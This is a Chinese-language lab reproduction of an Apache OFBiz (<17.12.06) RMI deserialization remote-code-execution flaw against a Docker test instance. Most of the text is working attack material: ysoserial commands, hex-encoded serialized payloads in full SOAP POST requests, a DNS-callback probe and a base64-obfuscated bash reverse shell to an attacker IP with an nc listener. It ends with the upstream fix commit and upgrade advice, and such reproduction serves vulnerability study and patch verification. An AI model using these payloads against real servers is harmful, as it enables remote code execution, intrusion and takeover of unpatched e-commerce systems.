Apache OFBiz < 17.12.06
RMI反序列化
影响范围应用
2021年3月,有安全研究人员披露知名电子商务平台Apache OFBiz存在一处RMI反序列化命令执行漏洞,攻击者可以通过该漏洞在OFBIz服务器上执行任意代码。
这里使用docker快速搭建漏洞环境:
docker run -d -p 811:8080 -p 8443:8443 opensourceknight/ofbiz
docker start e183adeaa84c
之后访问:
http://192.168.174.239:811/webtools/control/SOAPService
环境搭建完成,之后进行漏洞利用~
Step 1:生成反序列化载荷,这里使用URLDNS这一个Gadget进行初步验证
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://2mx7jk.dnslog.cn > exp.ser
Step 2:转十六进制
import binascii
filename = 'exp.ser'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
Step 3:使用burpsuite发送载荷
POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.174.239:811
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OFBiz.Visitor=10100
Connection: close
Content-Length: 1012
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-Map>
<map-Entry>
<map-Key> <cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff740010326d78376a6b2e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f326d78376a6b2e646e736c6f672e636e78</cus-obj>
</map-Key>
<map-Value>
<std-String/>
</map-Value>
</map-Entry>
</map-Map>
</ser>
</soapenv:Body>
</soapenv:Envelope>
Step 4:检查DNSLog端的记录
Step 1:启动一个JRMPListener并指定生成的payload
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "bash -i >& /dev/tcp/192.168.174.129/8888 0>&1"
对命令待执行的命令部分进行处理:
bash -i >& /dev/tcp/192.168.174.129/8888 0>&1
最终的命令如下:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
同时在攻击主机中使用nc监听
nc -lvp 8888
Step 2:使用JRMPClient 生成的payload2(用于链接我们攻击主机)
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 192.168.174.1:9999 > rs.ser
Step 3:对生成的rs.ser序列化载荷进行十六进制编码
Step 4:使用burpsuite发送载荷
POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.174.239:811
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OFBiz.Visitor=10100
Connection: close
Content-Length: 1014
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-Map>
<map-Entry>
<map-Key> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707736000a556e6963617374526566000d3139322e3136382e3137342e310000270f0000000007044d4a00000000000000000000000000000078</cus-obj>
</map-Key>
<map-Value>
<std-String/>
</map-Value>
</map-Entry>
</map-Map>
</ser>
</soapenv:Body>
</soapenv:Envelope>
Step 5:NC端并未反弹shell回来,同时在JRMPListener端留下来很多请求记录
这里未成功的原因是CC链是需要相关的依赖的,而不是凭空打的,笔者这里尝试了从CC1-CC7的链都没有什么效果,读者可以结合具体的场景进行测试,而这里需要注意的是反弹shell时需要JRMPClient与JRMPListener的配合,其中首先使用JRMPClient生成载荷使得目标服务端回连我们的攻击主机端,之后我们在攻击主机端开启的JRMPListener中指定要执行的载荷将其再次发送到目标服务端,使其在反序列化阶段执行,总之RMI的服务端和客户端时可以互打的,服务端可以打客户端,客户端可以打服务端~
官方修复方式如下,在这款可以看到会对类名进行检查是否包含java.rmi.server,如果包含则直接退出:
https://github.com/apache/ofbiz-framework/commit/af9ed4e/
升级到最新版本~
https://seclists.org/oss-sec/2021/q1/255
https://github.com/apache/ofbiz-framework/commit/af9ed4e/